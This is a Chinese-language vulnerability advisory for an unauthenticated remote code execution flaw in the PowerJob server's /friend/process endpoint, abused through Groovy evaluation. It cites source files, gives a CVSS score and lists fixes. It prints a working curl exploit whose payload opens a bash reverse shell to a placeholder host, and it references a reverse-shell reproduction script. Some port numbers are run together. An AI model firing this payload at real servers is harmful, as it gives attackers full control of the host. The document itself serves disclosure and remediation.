/friend/process(Groovy 注入)实现远程代码执行PowerJob 服务器(分布式任务调度/计算框架)在其 Worker↔Server 传输层 HTTP 端口 10010 上暴露了 /friend/process 端点,且完全没有身份认证。该端点会反射调用任意 Spring Bean 的任意公共方法;攻击者调用 GroovyEvaluator.evaluate 即可执行任意 Groovy 表达式,实现未认证的远程代码执行。默认的 docker-compose 将该端口发布到 0.0.0.0,因此服务器可在零凭据的情况下被完全攻陷。
docker-compose.yml:29-33,47-48 将 (HTTP 传输)、(AKKA)、(MU)发布到宿主机 1001010086100770.0.0.0| 项目 | 值 |
|---|---|
| 触发端点 | POST http://<server>:10010/friend/process |
| 注册 | FriendActor.java @Actor(path = "friend") + @Handler(path = "process")(为所有三种协议注册:HTTP/MU/AKKA) |
| 反射执行 | RemoteRequestProcessor.processRemoteRequest() |
| 危险汇聚点 | GroovyEvaluator.evaluate() → ScriptEngine.eval() |
| 缺少身份认证 | HttpVertxCSInitializer(HTTP)/ MuServerHandler(MU)注册路由时未进行任何令牌/签名检查 |
关键源文件(相对于仓库根目录):
powerjob-remote/powerjob-remote-impl-http/src/main/java/tech/powerjob/remote/http/HttpVertxCSInitializer.java(注册 10010 路由,无身份认证)powerjob-server/powerjob-server-remote/src/main/java/tech/powerjob/server/remote/server/FriendActor.java:40-53powerjob-server/powerjob-server-remote/src/main/java/tech/powerjob/server/remote/server/redirector/RemoteRequestProcessor.java:17-37powerjob-server/powerjob-server-core/src/main/java/tech/powerjob/server/core/evaluator/GroovyEvaluator.java:17-28RemoteRequestProcessor.processRemoteRequest 完全信任请求体中的 className、methodName、parameterTypes 和 args 字段——它使用 Class.forName + SpringUtils.getBean 获取任意 Spring Bean,然后通过 Spring ReflectionUtils 调用其任意公共方法。GroovyEvaluator 是一个 @Component Bean,其 evaluate(String, Object) 方法调用 Groovy 脚本引擎(ScriptEngineManager)直接对攻击者的表达式执行 eval()。三者结合即等于未认证的 RCE。
RemoteProcessReq JSON,以任意 Groovy 表达式(例如 'id'.execute().text)为目标调用 GroovyEvaluator.evaluate。AskResponse.data(base64 JSON)返回给攻击者。环境:JDK 17,源码构建的 powerjob-server-starter-5.1.2.jar(daily 配置),服务器监听于 192.168.49.128:10010。在 JDK 21 上重新验证(以下 shell 形式载荷在两者上均有效;参见下方关于 File.write 的说明)。
curl -s http://192.168.49.128:10010/friend/process -H 'Content-Type: application/json' -d '{
"className": "tech.powerjob.server.core.evaluator.GroovyEvaluator",
"methodName": "evaluate",
"parameterTypes": ["java.lang.String","java.lang.Object"],
"args": ["['/bin/sh','-c','bash -i >& /dev/tcp/reverseip/reverseport 0>&1 &'].execute().text", null]
}'
实际响应: {"success":true,"data":"InJldmVyc2Utc2hlbGwtbGF1bmNoZWQi"}。对 data 字段进行 Base64 解码即可得到在服务器 JVM 上执行的命令输出:

或者,您也可以使用脚本进行复现:
python3 powerjob_friend_process_rce.py 192.168.49.128:10010 --reverse-shell 192.168.3.17:7878
/friend/process 属于 Server↔Worker 内部通信的一部分;它应拒绝未认证的请求,或者该方法根本不应被远程调用。RemoteRequestProcessor 改为白名单机制:将 className/methodName 限制为框架定义的安全处理器,禁止对任意 Bean 进行反射调用。GroovyEvaluator 的远程可达性(如必须保留,请添加身份认证和沙箱)。/friend/process(S4S_HANDLER_PROCESS),或仅限制为内部来源访问。CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8 严重
mvn -B -DskipTests -pl powerjob-server/powerjob-server-starter -am package/friend/process 无需数据库即可触发)java -Xmx512m -jar powerjob-server-starter-5.1.2.jar --spring.profiles.active=daily ...